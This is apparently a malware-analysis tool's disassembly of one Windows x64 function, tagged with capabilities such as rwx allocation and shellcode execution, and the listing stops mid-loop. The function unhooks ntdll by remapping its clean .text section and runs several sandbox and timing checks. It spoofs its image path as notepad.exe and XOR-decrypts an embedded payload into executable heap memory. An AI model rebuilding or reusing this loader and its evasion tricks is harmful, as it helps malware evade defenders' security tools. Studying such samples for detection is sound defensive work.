Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x7f8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x760], xmm6
mov dword [rbp + 0x7a0], ecx
mov qword [rbp + 0x7a8], rdx
call fcn.140002b60
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6d8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6d0], rax
mov ecx, 0xe40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c8], rax
mov ecx, 0xe40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c0], rax
mov ecx, 0xe40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b8], rax
mov dword [rbp + 0x75c], 0
jmp 0x1400015d4
mov dword [rbp + 0x758], 0
jmp 0x1400015c0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x75c]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
shl rax, 6
mov rcx, rax
mov rax, qword [rbp + 0x6c8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x758]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x75c]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
shl rax, 6
mov rcx, rax
mov rax, qword [rbp + 0x6c0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x758]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x758], 1
cmp dword [rbp + 0x758], 0x2f
jle 0x140001501
add dword [rbp + 0x75c], 1
cmp dword [rbp + 0x75c], 0x12
jle 0x1400014f2
mov dword [rbp + 0x75c], 0
jmp 0x1400016ae
mov dword [rbp + 0x758], 0
jmp 0x14000169a
mov eax, dword [rbp + 0x75c]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 6
mov rdx, rax
mov rax, qword [rbp + 0x6c8]
add rdx, rax
mov eax, dword [rbp + 0x758]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x75c]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 6
mov rdx, rax
mov rax, qword [rbp + 0x6c0]
add rdx, rax
mov eax, dword [rbp + 0x758]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x75c]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 6
mov rdx, rax
mov rax, qword [rbp + 0x6b8]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x758]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x758], 1
cmp dword [rbp + 0x758], 0x2f
jle 0x1400015ff
add dword [rbp + 0x75c], 1
cmp dword [rbp + 0x75c], 0x12
jle 0x1400015f0
mov rax, qword [rbp + 0x6c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6c0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6b8]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6b0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x750], rax
cmp qword [rbp + 0x750], 0
jne 0x140001876
mov dword [rbp + 0x6ac], 1
mov ecx, 0x9d8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a0], rax
mov qword [rbp + 0x748], 2
jmp 0x14000178f
mov rax, qword [rbp + 0x748]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x748], 1
cmp qword [rbp + 0x748], 0x275
jbe 0x140001768
mov qword [rbp + 0x748], 2
jmp 0x140001826
mov rax, qword [rbp + 0x748]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x14000181e
mov rax, qword [rbp + 0x748]
mov qword [rbp + 0x740], rax
jmp 0x140001807
mov rax, qword [rbp + 0x748]
imul rax, qword [rbp + 0x740]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x740], 1
mov rax, qword [rbp + 0x748]
imul rax, qword [rbp + 0x740]
cmp rax, 0x275
jbe 0x1400017d8
add qword [rbp + 0x748], 1
cmp qword [rbp + 0x748], 0x275
jbe 0x1400017a9
mov rax, qword [rbp + 0x6a0]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x750], rax
cmp qword [rbp + 0x750], 0
je 0x140001be5
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x500]
mov rax, qword [rbp + 0x6b0]
mov r10, qword [rbp + 0x750]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x500]
mov qword [rbp + 0x698], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x690]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x688]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x698]
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x698]
add rax, rdx
mov qword [rbp + 0x670], rax
mov word [rbp + 0x73e], 0
jmp 0x140001bcd
mov rax, qword [rbp + 0x670]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x670]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x73e]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x668]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001bbc
mov ecx, 0x1d90
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x660], rax
mov dword [rbp + 0x738], 0
jmp 0x140001a75
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006590]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x738]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x660]
add rax, rdx
movsd xmm1, qword [0x140006598]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x738], 1
cmp dword [rbp + 0x738], 0x3b1
jle 0x140001a27
mov dword [rbp + 0x738], 0
jmp 0x140001adf
mov eax, dword [rbp + 0x738]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x660]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x738]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x660]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x738], 1
cmp dword [rbp + 0x738], 0x3b1
jle 0x140001a8d
mov dword [rbp + 0x4c8], 0
mov rax, qword [rbp + 0x668]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x668]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x698]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x4c8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x668]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x668]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x680]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x668]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x698]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x4c8]
mov rax, qword [rbp + 0x668]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x668]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x698]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x4c8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x73e]
add eax, 1
mov word [rbp + 0x73e], ax
mov rax, qword [rbp + 0x670]
movzx eax, word [rax + 6]
cmp word [rbp + 0x73e], ax
jb 0x1400019b0
mov dword [rbp + 0x4cc], 0
mov rax, qword [rbp + 0x6d8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x4d0]
lea rax, [rbp + 0x4cc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x658]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov dword [rbp + 0x654], 1
mov ecx, 0xbac
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x648], rax
mov qword [rbp + 0x730], 2
jmp 0x140001c95
mov rax, qword [rbp + 0x730]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x648]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x730], 1
cmp qword [rbp + 0x730], 0x2ea
jbe 0x140001c6e
mov qword [rbp + 0x730], 2
jmp 0x140001d2c
mov rax, qword [rbp + 0x730]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x648]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001d24
mov rax, qword [rbp + 0x730]
mov qword [rbp + 0x728], rax
jmp 0x140001d0d
mov rax, qword [rbp + 0x730]
imul rax, qword [rbp + 0x728]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x648]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x728], 1
mov rax, qword [rbp + 0x730]
imul rax, qword [rbp + 0x728]
cmp rax, 0x2ea
jbe 0x140001cde
add qword [rbp + 0x730], 1
cmp qword [rbp + 0x730], 0x2ea
jbe 0x140001caf
mov rax, qword [rbp + 0x648]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x4d8]
add rax, 0x3c
mov qword [rbp + 0x640], rax
mov dword [rbp + 0x724], 0xffffffff
add dword [rbp + 0x724], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x63c], edx
mov edx, dword [rbp + 0x63c]
imul edx, edx, 0x1e
sub eax, edx
mov dword [rbp + 0x63c], eax
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006590]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x63c]
movq xmm0, rax
call fcn.140003c50
movq rax, xmm0
mov qword [rbp + 0x630], rax
cmp dword [rbp + 0x724], 0x304
jle 0x140001d68
mov rax, qword [rbp + 0x640]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x640]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x628], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x620]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0xfc3680
mov ecx, 0
call rax
mov qword [rbp + 0x628], rax
cmp qword [rbp + 0x628], 0
je 0x140002a8b
mov rax, qword [rbp + 0x628]
mov edx, 0xfc3680
mov rcx, rax
call fcn.140004af0
mov rax, qword [rbp + 0x628]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov qword [rbp + 0x718], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x618], rax
cmp qword [rbp + 0x618], 0
je 0x140001f41
mov rax, qword [rbp + 0x618]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x610], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x610]
mov r9d, 0x3000
mov r8d, 0x2d9
mov edx, 0
call rax
mov qword [rbp + 0x718], rax
cmp qword [rbp + 0x718], 0
je 0x140002a8b
mov ecx, 0x557
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x557
jne 0x140002a8b
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov qword [rbp + 0x608], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x600], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x600]
mov r9d, 0x3000
mov r8d, 0x280
mov edx, 0
call rax
mov qword [rbp + 0x608], rax
cmp qword [rbp + 0x608], 0
je 0x140002a8b
mov dword [rbp + 0x5fc], 0x318
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f0], rax
mov rax, qword [rbp + 0x5f0]
call rax
mov dword [rbp + 0x5ec], eax
mov eax, dword [rbp + 0x5fc]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x5f0]
call rax
mov dword [rbp + 0x5e8], eax
mov eax, dword [rbp + 0x5e8]
sub eax, dword [rbp + 0x5ec]
cmp eax, 0x2e6
jbe 0x140002a8b
mov qword [rbp + 0x5e0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5d8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x5d8]
mov r9d, 0x3000
mov r8d, 0x43d
mov edx, 0
call rax
mov qword [rbp + 0x5e0], rax
cmp qword [rbp + 0x5e0], 0
je 0x140002a8b
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x5d0], rax
cmp qword [rbp + 0x5d0], 0
je 0x140002a8b
mov rax, qword [rbp + 0x5d0]
mov edx, 0x3f3
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x5cc], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x5c0], rax
cmp qword [rbp + 0x5c0], 0
je 0x1400021c0
mov rax, qword [rbp + 0x5c0]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5b8], rax
mov rax, qword [rbp + 0x5b8]
mov ecx, 0
call rax
mov dword [rbp + 0x714], eax
cmp dword [rbp + 0x714], 0xffffffff
je 0x140002a8b
mov dword [rbp + 0x5b4], 0x247
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5a8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5a0], rax
mov rax, qword [rbp + 0x5a0]
call rax
mov dword [rbp + 0x59c], eax
mov eax, dword [rbp + 0x5b4]
mov r8, qword [rbp + 0x5a8]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x5a0]
call rax
mov dword [rbp + 0x598], eax
mov eax, dword [rbp + 0x598]
sub eax, dword [rbp + 0x59c]
cmp eax, 0x215
jbe 0x140002a8b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x590]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x588], rax
cmp qword [rbp + 0x588], 0
jne 0x140002a8b
lea rax, [rbp + 0x70]
lea rdx, [0x140006138]
mov ecx, 0x8a
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
mov rax, qword [rbp + 0x6d0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x580], rax
mov rax, qword [rbp + 0x6d0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x578], rax
mov rax, qword [rbp + 0x580]
mov r8d, 0
mov edx, 0x455
mov ecx, 0x40000
call rax
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov r9, qword [rbp + 0x578]
mov r8d, 0x455
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x568], rax
mov rax, qword [rbp + 0x6d8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x560], rax
lea rdx, [rbp + 0x70]
mov rax, qword [rbp + 0x568]
mov r9, qword [rbp + 0x560]
mov r8d, 0x455
mov rcx, rax
call r9
mov dword [rbp + 0x710], 0
mov dword [rbp + 0x70c], 0
mov dword [rbp + 0x708], 0
mov dword [rbp + 0x6fc], 0
mov ecx, 0x42f0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x558], rax
mov dword [rbp + 0x704], 0
jmp 0x1400024a4
mov dword [rbp + 0x700], 0
jmp 0x140002494
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xe31caa9
shr rdx, 0x20
sar edx, 9
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2412
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x704]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x558]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x700]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x700], 1
cmp dword [rbp + 0x700], 0x43
jle 0x14000242d
add dword [rbp + 0x704], 1
cmp dword [rbp + 0x704], 0x3e
jle 0x140002421
mov dword [rbp + 0x704], 0
jmp 0x14000252b
mov dword [rbp + 0x700], 0
jmp 0x14000251b
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x6fc]
mov eax, dword [rbp + 0x704]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x558]
add rdx, rax
mov eax, dword [rbp + 0x700]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x6fc], eax
add dword [rbp + 0x700], 1
cmp dword [rbp + 0x700], 0x43
jle 0x1400024c9
add dword [rbp + 0x704], 1
cmp dword [rbp + 0x704], 0x3e
jle 0x1400024bd
mov rax, qword [rbp + 0x558]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0xc3ea0d54c1d98d82
movabs rdx, 0x362bd4a7320c872e
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x906f99eda6bd4162
movabs rdx, 0xc068a130cc64e7e4
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x22c7ac7be5ab2b38
movabs rdx, 0x4ded4973e210d16d
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0xdb037cef769d310b
movabs rdx, 0x32d15e0691814905
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xdc2925c33ccdfa
mov qword [rbp + 0x60], rax
movabs rax, 0xaa08e2ff071f0296
movabs rdx, 0x6132c9ed2cee9d03
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x668a237c2ec3bcfb
movabs rdx, 0x7f6c2ac2c787eb8
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0xa5c8571e916d6152
movabs rdx, 0xb5735e6197604c
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
pxor xmm0, xmm0
movss dword [rbp + 0x6f4], xmm0
mov dword [rbp + 0x6f8], 0
jmp 0x1400026a6
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x6f8]
movsd xmm0, qword [0x140006598]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x1400065a0]
movd xmm0, eax
call fcn.140003b50
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x6f8]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006598]
subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0x6f4]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x6f4], xmm0
add dword [rbp + 0x6f8], 1
cmp dword [rbp + 0x6f8], 0x100
jle 0x14000262d
movss xmm1, dword [rbp + 0x6f4]
movss xmm0, dword [0x1400065a4]
mulss xmm0, xmm1
movss dword [rbp + 0x6f4], xmm0
jmp 0x140002779
mov dword [rbp + 0x6f0], 0xffffffff
add dword [rbp + 0x6f0], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x1d8
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006590]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003d20
movq rax, xmm0
mov qword [rbp + 0x520], rax
cmp dword [rbp + 0x6f0], 0x278
jle 0x1400026e1
mov eax, dword [rbp + 0x710]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x70c]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x710]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x70c], 0x46
jne 0x14000276b
mov dword [rbp + 0x70c], 0
jmp 0x140002772
add dword [rbp + 0x70c], 1
add dword [rbp + 0x710], 1
mov eax, dword [rbp + 0x710]
cmp eax, 0x2e
jbe 0x1400026d7
mov ecx, 0xad8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x550], rax
mov ecx, 0xad8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x548], rax
mov dword [rbp + 0x6ec], 0
jmp 0x140002843
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x6ec]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x550]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x6ec], 1
cmp dword [rbp + 0x6ec], 0x15a
jle 0x1400027b9
mov dword [rbp + 0x6ec], 0
jmp 0x1400028b1
mov eax, dword [rbp + 0x6ec]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x550]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x6ec]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x548]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003b70
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x6ec], 1
cmp dword [rbp + 0x6ec], 0x15a
jle 0x14000285f
mov dword [rbp + 0x710], 0
jmp 0x14000292a
mov eax, dword [rbp + 0x710]
movsxd rdx, eax
mov rax, qword [rbp + 0x568]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x708]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x710]
movsxd rdx, eax
mov rax, qword [rbp + 0x568]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x708], 0x2e
jne 0x14000291c
mov dword [rbp + 0x708], 0
jmp 0x140002923
add dword [rbp + 0x708], 1
add dword [rbp + 0x710], 1
cmp dword [rbp + 0x710], 0x454
jle 0x1400028c9
mov rax, qword [rbp + 0x568]
mov qword [rbp + 0x540], rax
mov dword [rbp + 0x6e4], 1
jmp 0x140002a00
mov dword [rbp + 0x6e8], 0
mov eax, dword [rbp + 0x6e4]
mov dword [rbp + 0x6e0], eax
jmp 0x1400029d6
mov edx, dword [rbp + 0x6e0]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
